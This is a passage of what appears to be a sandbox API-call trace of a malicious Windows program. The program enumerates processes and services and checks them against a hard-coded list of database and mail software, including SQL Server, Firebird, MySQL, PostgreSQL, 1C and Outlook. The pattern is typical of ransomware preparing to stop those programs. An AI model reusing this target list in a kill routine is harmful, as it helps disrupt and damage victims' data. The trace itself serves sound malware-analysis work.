	[0273.793] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.793] lstrlenW (lpString="svchost.exe") returned 11
	[0273.793] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0273.794] lstrlenW (lpString="reader_sl.exe") returned 13
	[0273.794] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0273.794] CloseHandle (hObject=0x29c) returned 1
	[0273.794] Sleep (dwMilliseconds=0x1f4) 
	[0274.406] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280950
	[0274.414] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0274.414] GetLastError () returned 0xea
	[0274.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xf72) returned 0x41f5d68
	[0274.415] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xf72, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0274.415] CloseServiceHandle (hSCObject=0x4280950) returned 1
	[0274.416] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0274.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0274.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0274.416] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0274.416] lstrlenW (lpString="AudioSrv") returned 8
	[0274.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0274.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0274.416] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0274.416] lstrlenW (lpString="BFE") returned 3
	[0274.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0274.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0274.416] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0274.416] lstrlenW (lpString="CryptSvc") returned 8
	[0274.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0274.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0274.416] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0274.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0274.416] lstrlenW (lpString="CscService") returned 10
	[0274.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0274.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0274.417] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0274.417] lstrlenW (lpString="DcomLaunch") returned 10
	[0274.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0274.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0274.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0274.417] lstrlenW (lpString="Dhcp") returned 4
	[0274.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0274.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0274.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0274.417] lstrlenW (lpString="Dnscache") returned 8
	[0274.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0274.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0274.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0274.417] lstrlenW (lpString="DPS") returned 3
	[0274.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0274.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0274.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0274.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0274.417] lstrlenW (lpString="eventlog") returned 8
	[0274.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0274.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0274.418] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0274.418] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0274.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0274.418] lstrlenW (lpString="EventSystem") returned 11
	[0274.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0274.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0274.418] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0274.418] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0274.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0274.418] lstrlenW (lpString="gpsvc") returned 5
	[0274.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0274.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0274.418] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0274.418] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0274.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0274.418] lstrlenW (lpString="iphlpsvc") returned 8
	[0274.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0274.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0274.418] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0274.418] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0274.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0274.418] lstrlenW (lpString="LanmanServer") returned 12
	[0274.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0274.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0274.418] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0274.418] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0274.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0274.418] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0274.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0274.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0274.419] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0274.419] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0274.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0274.419] lstrlenW (lpString="lmhosts") returned 7
	[0274.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0274.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0274.419] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0274.419] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0274.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0274.419] lstrlenW (lpString="MMCSS") returned 5
	[0274.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0274.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0274.419] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0274.419] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0274.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0274.419] lstrlenW (lpString="MpsSvc") returned 6
	[0274.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0274.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0274.419] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0274.419] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0274.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0274.419] lstrlenW (lpString="netprofm") returned 8
	[0274.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0274.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0274.419] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0274.419] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0274.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0274.419] lstrlenW (lpString="NlaSvc") returned 6
	[0274.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0274.420] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0274.420] lstrlenW (lpString="nsi") returned 3
	[0274.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0274.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0274.420] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0274.420] lstrlenW (lpString="PcaSvc") returned 6
	[0274.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0274.420] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0274.420] lstrlenW (lpString="PlugPlay") returned 8
	[0274.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0274.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0274.420] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0274.420] lstrlenW (lpString="Power") returned 5
	[0274.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0274.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0274.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0274.420] lstrlenW (lpString="ProfSvc") returned 7
	[0274.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0274.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0274.421] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0274.421] lstrlenW (lpString="RpcEptMapper") returned 12
	[0274.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0274.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0274.421] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0274.421] lstrlenW (lpString="RpcSs") returned 5
	[0274.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0274.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0274.421] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0274.421] lstrlenW (lpString="SamSs") returned 5
	[0274.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0274.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0274.421] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0274.421] lstrlenW (lpString="Schedule") returned 8
	[0274.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0274.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0274.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0274.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0274.422] lstrlenW (lpString="SENS") returned 4
	[0274.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0274.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0274.422] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0274.422] lstrlenW (lpString="ShellHWDetection") returned 16
	[0274.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0274.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0274.422] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0274.422] lstrlenW (lpString="Spooler") returned 7
	[0274.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0274.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0274.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0274.422] lstrlenW (lpString="SysMain") returned 7
	[0274.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0274.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0274.422] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0274.422] lstrlenW (lpString="Themes") returned 6
	[0274.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0274.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0274.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0274.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0274.423] lstrlenW (lpString="TrkWks") returned 6
	[0274.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0274.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0274.423] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0274.423] lstrlenW (lpString="UxSms") returned 5
	[0274.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0274.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0274.423] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0274.423] lstrlenW (lpString="WdiServiceHost") returned 14
	[0274.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0274.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0274.423] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0274.423] lstrlenW (lpString="Winmgmt") returned 7
	[0274.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0274.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0274.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0274.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0274.423] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0274.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c
	[0274.425] Process32FirstW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0274.425] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0274.425] lstrlenW (lpString="System") returned 6
	[0274.425] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0274.425] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0274.425] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0274.425] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0274.425] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0274.425] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0274.425] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0274.425] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0274.426] lstrlenW (lpString="smss.exe") returned 8
	[0274.426] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0274.426] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0274.426] lstrlenW (lpString="csrss.exe") returned 9
	[0274.426] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0274.426] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0274.426] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0274.426] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0274.426] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0274.426] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0274.426] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0274.427] lstrlenW (lpString="wininit.exe") returned 11
	[0274.427] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0274.427] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0274.427] lstrlenW (lpString="csrss.exe") returned 9
	[0274.427] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0274.427] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0274.427] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0274.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0274.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0274.427] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0274.427] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0274.428] lstrlenW (lpString="winlogon.exe") returned 12
	[0274.428] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
